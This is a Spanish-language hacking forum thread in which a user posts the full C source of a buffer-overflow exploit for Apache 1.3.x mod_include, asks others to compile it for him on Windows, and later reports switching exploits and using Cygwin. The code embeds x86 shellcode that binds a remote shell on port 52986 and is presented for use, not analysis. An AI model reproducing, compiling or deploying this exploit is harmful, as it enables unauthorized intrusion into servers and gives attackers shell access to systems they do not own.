Vota por nosotros en el ranking web que participamos

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Octubre 14, 2008, 02:43:09
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Phreaking, Hacking y Seguridad  |  Bug y Exploits (Moderadores: OzX, [ E0F ] d0RkNet)  |  Tema: NO PUEDO COMPILARLO EN WINDOWS 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: NO PUEDO COMPILARLO EN WINDOWS  (Leído 260 veces)
K4sS
Colaborador
*****
Desconectado Desconectado

Mensajes: 561


JF_spanish@hotmail.com
Ver Perfil Email
« en: Junio 08, 2006, 04:34:31 »

Bueno, estos dias no tengo tiempo de instalarme LINUX, y me han dixo q el exploit que quiero compilar no se puede en windows, me preguntaba si alguien lo podia acer por mi, le estaria muy agradecido, aca el exploit:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
 
#define EVILBUF 8202
#define HTMLTEXT 1000
 
#define HTML_FORMAT "<html>\n<!--#echo done=\"%s\" -->\nxCrZx 0wn U\n</
html>"
 
#define AUTHOR "\n*** local exploit for mod_include of apache 1.3.x by xCrZx /18.10.2004/ ***\n"

 
int main(int argc, char **argv) {
 
   char html[EVILBUF+HTMLTEXT];
   char evilbuf[EVILBUF+1];
 
   //can be changed
   char shellcode[] =
 
    // bind shell on 52986 port
    "\x31\xc0"
    "\x31\xdb\x53\x43\x53\x89\xd8\x40\x50\x89\xe1\xb0\x66\xcd\x80\x43"
    "\x66\xc7\x44\x24\x02\xce\xfa\xd1\x6c\x24\x04\x6a\x10\x51\x50\x89"
    "\xe1\xb0\x66\xcd\x80\x43\x43\xb0\x66\xcd\x80\x43\x89\x61\x08\xb0"
    "\x66\xcd\x80\x93\x31\xc9\xb1\x03\x49\xb0\x3f\xcd\x80\x75\xf9\x68"
    "\x2f\x73\x68\x20\x68\x2f\x62\x69\x6e\x88\x4c\x24\x07\x89\xe3\x51"
    "\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
 
    //execve /tmp/sh <- your own program
   /*
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
    "\xc0\x88\x43\x07\x89\x5b\x08\x89"
    "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
    "\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
    "/tmp/sh";
   */
 
 
   char NOP[] = "\x90\x40";             // special nops Wink
   char evilpad[] = "\\CRZCRZCRZCRZC";  // trick Wink
 
   int padding,xpad=0;
   int i,fd;
   long ret=0xbfff8688;
 
   if(argc>1) ret=strtoul(argv[1],0,16);
   else { fprintf(stderr,AUTHOR"\nUsage: %s <RET ADDR> > file.html\n\n",argv[0]);exi
t(0); }
 
   padding=(EVILBUF-1-strlen(shellcode)-4-strlen(evilpad)+2);
 
   while(1) {
      if(padding%2==0) { padding/=2; break;}
      else {padding--;xpad++;}
   }
 
   memset(html,0x0,sizeof html);
   memset(evilbuf,0x0,sizeof evilbuf);
 
   for(i=0;i<padding;i++)
      memcpy(evilbuf+strlen(evilbuf),&NOP,2);
   for(i=0;i<xpad;i++)
      memcpy(evilbuf+strlen(evilbuf),(evilbuf[strlen(evilbuf)-1]==NOP[1])?(&NOP[0])Sad&NOP[1]),1);

 
   memcpy(evilbuf+strlen(evilbuf),&shellcode,sizeof shellcode);
   memcpy(evilbuf+strlen(evilbuf),&evilpad,sizeof evilpad);
   *(long*)&evilbuf[strlen(evilbuf)]=ret;
 
   sprintf(html,HTML_FORMAT,evilbuf);
 
   printf("%s",html);
 
   return 0;
}

En línea

K4sS
Colaborador
*****
Desconectado Desconectado

Mensajes: 561


JF_spanish@hotmail.com
Ver Perfil Email
« Respuesta #1 en: Junio 10, 2006, 03:40:38 »

Solucionado, que un moderador cierre el post que ya lo solucione  Grin
En línea

ManCuerTex
Visitante
« Respuesta #2 en: Junio 10, 2006, 03:59:03 »

En línea
K4sS
Colaborador
*****
Desconectado Desconectado

Mensajes: 561


JF_spanish@hotmail.com
Ver Perfil Email
« Respuesta #3 en: Junio 11, 2006, 07:09:50 »

Pues cambie el exploit, por que ese exploit tiene bandas de errores y pille otro y use el cygwin para compilarlo en windows xp Cheesy
En línea

zeroforce
Visitante
« Respuesta #4 en: Junio 16, 2006, 10:01:00 »

puedes decirme si por aca encuentro ingormacion sobre cygwin?
En línea
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Phreaking, Hacking y Seguridad  |  Bug y Exploits (Moderadores: OzX, [ E0F ] d0RkNet)  |  Tema: NO PUEDO COMPILARLO EN WINDOWS « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.6 | SMF © 2006-2007, Simple Machines LLC